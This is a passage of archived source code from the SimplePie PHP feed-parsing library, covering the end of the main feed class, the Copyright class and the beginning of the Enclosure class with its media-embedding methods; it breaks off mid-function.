} elseif ($return = $this->get_image_tags(self::NAMESPACE_DC_11, 'title')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT); } elseif ($return = $this->get_image_tags(self::NAMESPACE_DC_10, 'title')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_TEXT); } return null; } /** * Get the feed logo's URL * * RSS 0.9.0, 2.0, Atom 1.0, and feeds with iTunes RSS tags are allowed to * have a "feed logo" URL. This points directly to the image itself. * * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`, * `<image><title>` or `<image><dc:title>` * * @return string|null */ public function get_image_url() { if ($return = $this->get_channel_tags(self::NAMESPACE_ITUNES, 'image')) { return $this->sanitize($return[0]['attribs']['']['href'], self::CONSTRUCT_IRI); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'logo')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(self::NAMESPACE_ATOM_10, 'icon')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'url')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'url')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0])); } return null; } /** * Get the feed logo's link * * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" link. This * points to a human-readable page that the image should link to. * * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`, * `<image><title>` or `<image><dc:title>` * * @return string|null */ public function get_image_link() { if ($return = $this->get_image_tags(self::NAMESPACE_RSS_10, 'link')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_090, 'link')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'link')) { return $this->sanitize($return[0]['data'], self::CONSTRUCT_IRI, $this->get_base($return[0])); } return null; } /** * Get the feed logo's link * * RSS 2.0 feeds are allowed to have a "feed logo" width. * * Uses `<image><width>` or defaults to 88.0 if no width is specified and * the feed is an RSS 2.0 feed. * * @return int|float|null */ public function get_image_width() { if ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'width')) { return round($return[0]['data']); } elseif ($this->get_type() & self::TYPE_RSS_SYNDICATION && $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) { return 88.0; } return null; } /** * Get the feed logo's height * * RSS 2.0 feeds are allowed to have a "feed logo" height. * * Uses `<image><height>` or defaults to 31.0 if no height is specified and * the feed is an RSS 2.0 feed. * * @return int|float|null */ public function get_image_height() { if ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'height')) { return round($return[0]['data']); } elseif ($this->get_type() & self::TYPE_RSS_SYNDICATION && $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) { return 31.0; } return null; } /** * Get the number of items in the feed * * This is well-suited for {@link http://php.net/for for()} loops with * {@see get_item()} * * @param int $max Maximum value to return. 0 for no limit * @return int Number of items in the feed */ public function get_item_quantity($max = 0) { $max = (int) $max; $qty = count($this->get_items()); if ($max === 0) { return $qty; } return ($qty > $max) ? $max : $qty; } /** * Get a single item from the feed * * This is better suited for {@link http://php.net/for for()} loops, whereas * {@see get_items()} is better suited for * {@link http://php.net/foreach foreach()} loops. * * @see get_item_quantity() * @since Beta 2 * @param int $key The item that you want to return. Remember that arrays begin with 0, not 1 * @return \SimplePie\Item|null */ public function get_item($key = 0) { $items = $this->get_items(); if (isset($items[$key])) { return $items[$key]; } return null; } /** * Get all items from the feed * * This is better suited for {@link http://php.net/for for()} loops, whereas * {@see get_items()} is better suited for * {@link http://php.net/foreach foreach()} loops. * * @see get_item_quantity * @since Beta 2 * @param int $start Index to start at * @param int $end Number of items to return. 0 for all items after `$start` * @return \SimplePie\Item[]|null List of {@see \SimplePie\Item} objects */ public function get_items($start = 0, $end = 0) { if (!isset($this->data['items'])) { if (!empty($this->multifeed_objects)) { $this->data['items'] = SimplePie::merge_items($this->multifeed_objects, $start, $end, $this->item_limit); if (empty($this->data['items'])) { return []; } return $this->data['items']; } $this->data['items'] = []; if ($items = $this->get_feed_tags(self::NAMESPACE_ATOM_10, 'entry')) { $keys = array_keys($items); foreach ($keys as $key) { $this->data['items'][] = $this->registry->create('Item', [$this, $items[$key]]); } } if ($items = $this->get_feed_tags(self::NAMESPACE_ATOM_03, 'entry')) { $keys = array_keys($items); foreach ($keys as $key) { $this->data['items'][] = $this->registry->create('Item', [$this, $items[$key]]); } } if ($items = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'item')) { $keys = array_keys($items); foreach ($keys as $key) { $this->data['items'][] = $this->registry->create('Item', [$this, $items[$key]]); } } if ($items = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'item')) { $keys = array_keys($items); foreach ($keys as $key) { $this->data['items'][] = $this->registry->create('Item', [$this, $items[$key]]); } } if ($items = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'item')) { $keys = array_keys($items); foreach ($keys as $key) { $this->data['items'][] = $this->registry->create('Item', [$this, $items[$key]]); } } } if (empty($this->data['items'])) { return []; } if ($this->order_by_date) { if (!isset($this->data['ordered_items'])) { $this->data['ordered_items'] = $this->data['items']; usort($this->data['ordered_items'], [get_class($this), 'sort_items']); } $items = $this->data['ordered_items']; } else { $items = $this->data['items']; } // Slice the data as desired if ($end === 0) { return array_slice($items, $start); } return array_slice($items, $start, $end); } /** * Set the favicon handler * * @deprecated Use your own favicon handling instead */ public function set_favicon_handler($page = false, $qs = 'i') { $level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING; trigger_error('Favicon handling has been removed, please use your own handling', $level); return false; } /** * Get the favicon for the current feed * * @deprecated Use your own favicon handling instead */ public function get_favicon() { $level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING; trigger_error('Favicon handling has been removed, please use your own handling', $level); if (($url = $this->get_link()) !== null) { return 'https://www.google.com/s2/favicons?domain=' . urlencode($url); } return false; } /** * Magic method handler * * @param string $method Method name * @param array $args Arguments to the method * @return mixed */ public function __call($method, $args) { if (strpos($method, 'subscribe_') === 0) { $level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING; trigger_error('subscribe_*() has been deprecated, implement the callback yourself', $level); return ''; } if ($method === 'enable_xml_dump') { $level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING; trigger_error('enable_xml_dump() has been deprecated, use get_raw_data() instead', $level); return false; } $class = get_class($this); $trace = debug_backtrace(); $file = $trace[0]['file']; $line = $trace[0]['line']; trigger_error("Call to undefined method $class::$method() in $file on line $line", E_USER_ERROR); } /** * Sorting callback for items * * @access private * @param SimplePie $a * @param SimplePie $b * @return boolean */ public static function sort_items($a, $b) { $a_date = $a->get_date('U'); $b_date = $b->get_date('U'); if ($a_date && $b_date) { return $a_date > $b_date ? -1 : 1; } // Sort items without dates to the top. if ($a_date) { return 1; } if ($b_date) { return -1; } return 0; } /** * Merge items from several feeds into one * * If you're merging multiple feeds together, they need to all have dates * for the items or else SimplePie will refuse to sort them. * * @link http://simplepie.org/wiki/tutorial/sort_multiple_feeds_by_time_and_date#if_feeds_require_separate_per-feed_settings * @param array $urls List of SimplePie feed objects to merge * @param int $start Starting item * @param int $end Number of items to return * @param int $limit Maximum number of items per feed * @return array */ public static function merge_items($urls, $start = 0, $end = 0, $limit = 0) { if (is_array($urls) && sizeof($urls) > 0) { $items = []; foreach ($urls as $arg) { if ($arg instanceof SimplePie) { $items = array_merge($items, $arg->get_items(0, $limit)); } else { trigger_error('Arguments must be SimplePie objects', E_USER_WARNING); } } usort($items, [get_class($urls[0]), 'sort_items']); if ($end === 0) { return array_slice($items, $start); } return array_slice($items, $start, $end); } trigger_error('Cannot merge zero SimplePie objects', E_USER_WARNING); return []; } /** * Store PubSubHubbub links as headers * * There is no way to find PuSH links in the body of a microformats feed, * so they are added to the headers when found, to be used later by get_links. * @param \SimplePie\File $file * @param string $hub * @param string $self */ private function store_links(&$file, $hub, $self) { if (isset($file->headers['link']['hub']) || (isset($file->headers['link']) && preg_match('/rel=hub/', $file->headers['link']))) { return; } if ($hub) { if (isset($file->headers['link'])) { if ($file->headers['link'] !== '') { $file->headers['link'] = ', '; } } else { $file->headers['link'] = ''; } $file->headers['link'] .= '<'.$hub.'>; rel=hub'; if ($self) { $file->headers['link'] .= ', <'.$self.'>; rel=self'; } } } } class_alias('SimplePie\SimplePie', 'SimplePie'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/Copyright.php���������������������������������������������������������������������0000644�����������������00000007030�14757771437�0012622 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * Manages `<media:copyright>` copyright tags as defined in Media RSS * * Used by {@see \SimplePie\Enclosure::get_copyright()} * * This class can be overloaded with {@see \SimplePie\SimplePie::set_copyright_class()} * * @package SimplePie * @subpackage API */ class Copyright { /** * Copyright URL * * @var string * @see get_url() */ public $url; /** * Attribution * * @var string * @see get_attribution() */ public $label; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($url = null, $label = null) { $this->url = $url; $this->label = $label; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the copyright URL * * @return string|null URL to copyright information */ public function get_url() { if ($this->url !== null) { return $this->url; } return null; } /** * Get the attribution text * * @return string|null */ public function get_attribution() { if ($this->label !== null) { return $this->label; } return null; } } class_alias('SimplePie\Copyright', 'SimplePie_Copyright'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/Enclosure.php���������������������������������������������������������������������0000644�����������������00000100323�14757771437�0012610 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * Handles everything related to enclosures (including Media RSS and iTunes RSS) * * Used by {@see \SimplePie\Item::get_enclosure()} and {@see \SimplePie\Item::get_enclosures()} * * This class can be overloaded with {@see \SimplePie\SimplePie::set_enclosure_class()} * * @package SimplePie * @subpackage API */ class Enclosure { /** * @var string * @see get_bitrate() */ public $bitrate; /** * @var array * @see get_captions() */ public $captions; /** * @var array * @see get_categories() */ public $categories; /** * @var int * @see get_channels() */ public $channels; /** * @var \SimplePie\Copyright * @see get_copyright() */ public $copyright; /** * @var array * @see get_credits() */ public $credits; /** * @var string * @see get_description() */ public $description; /** * @var int * @see get_duration() */ public $duration; /** * @var string * @see get_expression() */ public $expression; /** * @var string * @see get_framerate() */ public $framerate; /** * @var string * @see get_handler() */ public $handler; /** * @var array * @see get_hashes() */ public $hashes; /** * @var string * @see get_height() */ public $height; /** * @deprecated * @var null */ public $javascript; /** * @var array * @see get_keywords() */ public $keywords; /** * @var string * @see get_language() */ public $lang; /** * @var string * @see get_length() */ public $length; /** * @var string * @see get_link() */ public $link; /** * @var string * @see get_medium() */ public $medium; /** * @var string * @see get_player() */ public $player; /** * @var array * @see get_ratings() */ public $ratings; /** * @var array * @see get_restrictions() */ public $restrictions; /** * @var string * @see get_sampling_rate() */ public $samplingrate; /** * @var array * @see get_thumbnails() */ public $thumbnails; /** * @var string * @see get_title() */ public $title; /** * @var string * @see get_type() */ public $type; /** * @var string * @see get_width() */ public $width; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors * * @uses idna_convert If available, this will convert an IDN */ public function __construct($link = null, $type = null, $length = null, $javascript = null, $bitrate = null, $captions = null, $categories = null, $channels = null, $copyright = null, $credits = null, $description = null, $duration = null, $expression = null, $framerate = null, $hashes = null, $height = null, $keywords = null, $lang = null, $medium = null, $player = null, $ratings = null, $restrictions = null, $samplingrate = null, $thumbnails = null, $title = null, $width = null) { $this->bitrate = $bitrate; $this->captions = $captions; $this->categories = $categories; $this->channels = $channels; $this->copyright = $copyright; $this->credits = $credits; $this->description = $description; $this->duration = $duration; $this->expression = $expression; $this->framerate = $framerate; $this->hashes = $hashes; $this->height = $height; $this->keywords = $keywords; $this->lang = $lang; $this->length = $length; $this->link = $link; $this->medium = $medium; $this->player = $player; $this->ratings = $ratings; $this->restrictions = $restrictions; $this->samplingrate = $samplingrate; $this->thumbnails = $thumbnails; $this->title = $title; $this->type = $type; $this->width = $width; if (class_exists('idna_convert')) { $idn = new \idna_convert(); $parsed = \SimplePie\Misc::parse_url($link); $this->link = \SimplePie\Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], $parsed['fragment']); } $this->handler = $this->get_handler(); // Needs to load last } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the bitrate * * @return string|null */ public function get_bitrate() { if ($this->bitrate !== null) { return $this->bitrate; } return null; } /** * Get a single caption * * @param int $key * @return \SimplePie\Caption|null */ public function get_caption($key = 0) { $captions = $this->get_captions(); if (isset($captions[$key])) { return $captions[$key]; } return null; } /** * Get all captions * * @return array|null Array of {@see \SimplePie\Caption} objects */ public function get_captions() { if ($this->captions !== null) { return $this->captions; } return null; } /** * Get a single category * * @param int $key * @return \SimplePie\Category|null */ public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } return null; } /** * Get all categories * * @return array|null Array of {@see \SimplePie\Category} objects */ public function get_categories() { if ($this->categories !== null) { return $this->categories; } return null; } /** * Get the number of audio channels * * @return int|null */ public function get_channels() { if ($this->channels !== null) { return $this->channels; } return null; } /** * Get the copyright information * * @return \SimplePie\Copyright|null */ public function get_copyright() { if ($this->copyright !== null) { return $this->copyright; } return null; } /** * Get a single credit * * @param int $key * @return \SimplePie\Credit|null */ public function get_credit($key = 0) { $credits = $this->get_credits(); if (isset($credits[$key])) { return $credits[$key]; } return null; } /** * Get all credits * * @return array|null Array of {@see \SimplePie\Credit} objects */ public function get_credits() { if ($this->credits !== null) { return $this->credits; } return null; } /** * Get the description of the enclosure * * @return string|null */ public function get_description() { if ($this->description !== null) { return $this->description; } return null; } /** * Get the duration of the enclosure * * @param bool $convert Convert seconds into hh:mm:ss * @return string|int|null 'hh:mm:ss' string if `$convert` was specified, otherwise integer (or null if none found) */ public function get_duration($convert = false) { if ($this->duration !== null) { if ($convert) { $time = \SimplePie\Misc::time_hms($this->duration); return $time; } return $this->duration; } return null; } /** * Get the expression * * @return string Probably one of 'sample', 'full', 'nonstop', 'clip'. Defaults to 'full' */ public function get_expression() { if ($this->expression !== null) { return $this->expression; } return 'full'; } /** * Get the file extension * * @return string|null */ public function get_extension() { if ($this->link !== null) { $url = \SimplePie\Misc::parse_url($this->link); if ($url['path'] !== '') { return pathinfo($url['path'], PATHINFO_EXTENSION); } } return null; } /** * Get the framerate (in frames-per-second) * * @return string|null */ public function get_framerate() { if ($this->framerate !== null) { return $this->framerate; } return null; } /** * Get the preferred handler * * @return string|null One of 'flash', 'fmedia', 'quicktime', 'wmedia', 'mp3' */ public function get_handler() { return $this->get_real_type(true); } /** * Get a single hash * * @link http://www.rssboard.org/media-rss#media-hash * @param int $key * @return string|null Hash as per `media:hash`, prefixed with "$algo:" */ public function get_hash($key = 0) { $hashes = $this->get_hashes(); if (isset($hashes[$key])) { return $hashes[$key]; } return null; } /** * Get all credits * * @return array|null Array of strings, see {@see get_hash()} */ public function get_hashes() { if ($this->hashes !== null) { return $this->hashes; } return null; } /** * Get the height * * @return string|null */ public function get_height() { if ($this->height !== null) { return $this->height; } return null; } /** * Get the language * * @link http://tools.ietf.org/html/rfc3066 * @return string|null Language code as per RFC 3066 */ public function get_language() { if ($this->lang !== null) { return $this->lang; } return null; } /** * Get a single keyword * * @param int $key * @return string|null */ public function get_keyword($key = 0) { $keywords = $this->get_keywords(); if (isset($keywords[$key])) { return $keywords[$key]; } return null; } /** * Get all keywords * * @return array|null Array of strings */ public function get_keywords() { if ($this->keywords !== null) { return $this->keywords; } return null; } /** * Get length * * @return float Length in bytes */ public function get_length() { if ($this->length !== null) { return $this->length; } return null; } /** * Get the URL * * @return string|null */ public function get_link() { if ($this->link !== null) { return urldecode($this->link); } return null; } /** * Get the medium * * @link http://www.rssboard.org/media-rss#media-content * @return string|null Should be one of 'image', 'audio', 'video', 'document', 'executable' */ public function get_medium() { if ($this->medium !== null) { return $this->medium; } return null; } /** * Get the player URL * * Typically the same as {@see get_permalink()} * @return string|null Player URL */ public function get_player() { if ($this->player !== null) { return $this->player; } return null; } /** * Get a single rating * * @param int $key * @return \SimplePie\Rating|null */ public function get_rating($key = 0) { $ratings = $this->get_ratings(); if (isset($ratings[$key])) { return $ratings[$key]; } return null; } /** * Get all ratings * * @return array|null Array of {@see \SimplePie\Rating} objects */ public function get_ratings() { if ($this->ratings !== null) { return $this->ratings; } return null; } /** * Get a single restriction * * @param int $key * @return \SimplePie\Restriction|null */ public function get_restriction($key = 0) { $restrictions = $this->get_restrictions(); if (isset($restrictions[$key])) { return $restrictions[$key]; } return null; } /** * Get all restrictions * * @return array|null Array of {@see \SimplePie\Restriction} objects */ public function get_restrictions() { if ($this->restrictions !== null) { return $this->restrictions; } return null; } /** * Get the sampling rate (in kHz) * * @return string|null */ public function get_sampling_rate() { if ($this->samplingrate !== null) { return $this->samplingrate; } return null; } /** * Get the file size (in MiB) * * @return float|null File size in mebibytes (1048 bytes) */ public function get_size() { $length = $this->get_length(); if ($length !== null) { return round($length/1048576, 2); } return null; } /** * Get a single thumbnail * * @param int $key * @return string|null Thumbnail URL */ public function get_thumbnail($key = 0) { $thumbnails = $this->get_thumbnails(); if (isset($thumbnails[$key])) { return $thumbnails[$key]; } return null; } /** * Get all thumbnails * * @return array|null Array of thumbnail URLs */ public function get_thumbnails() { if ($this->thumbnails !== null) { return $this->thumbnails; } return null; } /** * Get the title * * @return string|null */ public function get_title() { if ($this->title !== null) { return $this->title; } return null; } /** * Get mimetype of the enclosure * * @see get_real_type() * @return string|null MIME type */ public function get_type() { if ($this->type !== null) { return $this->type; } return null; } /** * Get the width * * @return string|null */ public function get_width() { if ($this->width !== null) { return $this->width; } return null; } /** * Embed the enclosure using `<embed>` * * @deprecated Use the second parameter to {@see embed} instead * * @param array|string $options See first parameter to {@see embed} * @return string HTML string to output */ public function native_embed($options='') { return $this->embed($options, true); } /** * Embed the enclosure using Javascript * * `$options` is an array or comma-separated key:value string, with the * following properties: * * - `alt` (string): Alternate content for when an end-user does not have * the appropriate handler installed or when a file type is * unsupported. Can be any text or HTML. Defaults to blank. * - `altclass` (string): If a file type is unsupported, the end-user will * see the alt text (above) linked directly to the content. That link * will have this value as its class name. Defaults to blank. * - `audio` (string): This is an image that should be used as a * placeholder for audio files before they're loaded (QuickTime-only). * Can be any relative or absolute URL. Defaults to blank. * - `bgcolor` (string): The background color for the media, if not * already transparent. Defaults to `#ffffff`. * - `height` (integer): The height of the embedded media. Accepts any * numeric pixel value (such as `360`) or `auto`. Defaults to `auto`, * and it is recommended that you use this default. * - `loop` (boolean): Do you want the media to loop when it's done? * Defaults to `false`. * - `mediaplayer` (string): The location of the included * `mediaplayer.swf` file. This allows for the playback of Flash Video * (`.flv`) files, and is the default handler for non-Odeo MP3's. * Defaults to blank. * - `video` (string): This is an image that should be used as a * placeholder for video files before they're loaded (QuickTime-only). * Can be any relative or absolute URL. Defaults to blank. * - `width` (integer): The width of the embedded media. Accepts any * numeric pixel value (such as `480`) or `auto`. Defaults to `auto`, * and it is recommended that you use this default. * - `widescreen` (boolean): Is the enclosure widescreen or standard? * This applies only to video enclosures, and will automatically resize * the content appropriately. Defaults to `false`, implying 4:3 mode. * * Note: Non-widescreen (4:3) mode with `width` and `height` set to `auto` * will default to 480x360 video resolution. Widescreen (16:9) mode with * `width` and `height` set to `auto` will default to 480x270 video resolution. * * @todo If the dimensions for media:content are defined, use them when width/height are set to 'auto'. * @param array|string $options Comma-separated key:value list, or array * @param bool $native Use `<embed>` * @return string HTML string to output */ public function embed($options = '', $native = false) { // Set up defaults $audio = ''; $video = ''; $alt = ''; $altclass = ''; $loop = 'false'; $width = 'auto'; $height = 'auto'; $bgcolor = '#ffffff'; $mediaplayer = ''; $widescreen = false; $handler = $this->get_handler(); $type = $this->get_real_type(); // Process options and reassign values as necessary if (is_array($options)) { extract($options); } else { $options = explode(',', $options); foreach ($options as $option) { $opt = explode(':', $option, 2); if (isset($opt[0], $opt[1])) { $opt[0] = trim($opt[0]); $opt[1] = trim($opt[1]); switch ($opt[0]) { case 'audio': $audio = $opt[1]; break; case 'video': $video = $opt[1]; break; case 'alt': $alt = $opt[1]; break; case 'altclass': $altclass = $opt[1]; break; case 'loop': $loop = $opt[1]; break; case 'width': $width = $opt[1]; break; case 'height': $height = $opt[1]; break; case 'bgcolor': $bgcolor = $opt[1]; break; case 'mediaplayer': $mediaplayer = $opt[1]; break; case 'widescreen': $widescreen = $opt[1]; break; } } } } $mime = explode('/', $type, 2); $mime = $mime[0]; // Process values for 'auto' if ($width === 'auto') { if ($mime === 'video') { if ($height === 'auto') { $width = 480; } elseif ($widescreen) { $width = round((intval($height)/9)*16); } else { $width = round((intval($height)/3)*4); } } else { $width = '100%'; } } if ($height === 'auto') { if ($mime === 'audio') { $height = 0; } elseif ($mime === 'video') { if ($width === 'auto') { if ($widescreen) { $height = 270; } else { $height = 360; } } elseif ($widescreen) { $height = round((intval($width)/16)*9); } else { $height = round((intval($width)/4)*3); } } else { $height = 376; } } elseif ($mime === 'audio') { $height = 0; } // Set proper placeholder value if ($mime === 'audio') { $placeholder = $audio; } elseif ($mime === 'video') { $placeholder = $video; } $embed = ''; // Flash if ($handler === 'flash') { if ($native) { $embed .= "<embed src=\"" . $this->get_link() . "\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"$type\" quality=\"high\" width=\"$width\" height=\"$height\" bgcolor=\"$bgcolor\" loop=\"$loop\"></embed>"; } else { $embed .= "<script type='text/javascript'>embed_flash('$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$loop', '$type');</script>"; } } // Flash Media Player file types. // Preferred handler for MP3 file types. elseif ($handler === 'fmedia' || ($handler === 'mp3' && $mediaplayer !== '')) { $height += 20; if ($native) { $embed .= "<embed src=\"$mediaplayer\" pluginspage=\"http://adobe.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" quality=\"high\" width=\"$width\" height=\"$height\" wmode=\"transparent\" flashvars=\"file=" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "&autostart=false&repeat=$loop&showdigits=true&showfsbutton=false\"></embed>"; } else { $embed .= "<script type='text/javascript'>embed_flv('$width', '$height', '" . rawurlencode($this->get_link().'?file_extension=.'.$this->get_extension()) . "', '$placeholder', '$loop', '$mediaplayer');</script>"; } } // QuickTime 7 file types. Need to test with QuickTime 6. // Only handle MP3's if the Flash Media Player is not present. elseif ($handler === 'quicktime' || ($handler === 'mp3' && $mediaplayer === '')) { $height += 16; if ($native) { if ($placeholder !== '') { $embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" href=\"" . $this->get_link() . "\" src=\"$placeholder\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"false\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>"; } else { $embed .= "<embed type=\"$type\" style=\"cursor:hand; cursor:pointer;\" src=\"" . $this->get_link() . "\" width=\"$width\" height=\"$height\" autoplay=\"false\" target=\"myself\" controller=\"true\" loop=\"$loop\" scale=\"aspect\" bgcolor=\"$bgcolor\" pluginspage=\"http://apple.com/quicktime/download/\"></embed>"; } } else { $embed .= "<script type='text/javascript'>embed_quicktime('$type', '$bgcolor', '$width', '$height', '" . $this->get_link() . "', '$placeholder', '$loop');</script>"; } } // Windows Media elseif ($handler === 'wmedia') { $height += 45; if ($native) { $embed .= "<embed type=\"application/x-mplayer2\" src=\"" . $this->get_link() . "\" autosize=\"1\" width=\"$width\" height=\"$height\" showcontrols=\"1\" showstatusbar=\"0\" showdisplay=\"0\" autostart=\"0\"></embed>"; } else { $embed .= "<script type='text/javascript'>embed_wmedia('$width', '$height', '" . $this->get_link() . "');</script>"; } } // Everything else else { $embed .= '<a href="' . $this->get_link() . '" class="' . $altclass . '">' . $alt . '</a>'; } return $embed; } /** * Get the real media type * * Often, feeds lie to us, necessitating a bit of deeper inspection. This * converts types to their canonical representations based on the file * extension * * @see get_type() * @param bool $find_handler Internal use only, use {@see get_handler()} instead * @return string MIME type */ public function get_real_type($find_handler = false) { // Mime-types by handler. $types_flash = ['application/x-shockwave-flash', 'application/futuresplash']; // Flash $types_fmedia = ['video/flv', 'video/x-flv','flv-application/octet-stream']; // Flash Media Player $types_quicktime = ['audio/3gpp', 'audio/3gpp2', 'audio/aac', 'audio/x-aac', 'audio/aiff', 'audio/x-aiff', 'audio/mid', 'audio/midi', 'audio/x-midi', 'audio/mp4', 'audio/m4a', 'audio/x-m4a', 'audio/wav', 'audio/x-wav', 'video/3gpp', 'video/3gpp2', 'video/m4v', 'video/x-m4v', 'video/mp4', 'video/mpeg', 'video/x-mpeg', 'video/quicktime', 'video/sd-video']; // QuickTime $types_wmedia = ['application/asx', 'application/x-mplayer2', 'audio/x-ms-wma', 'audio/x-ms-wax', 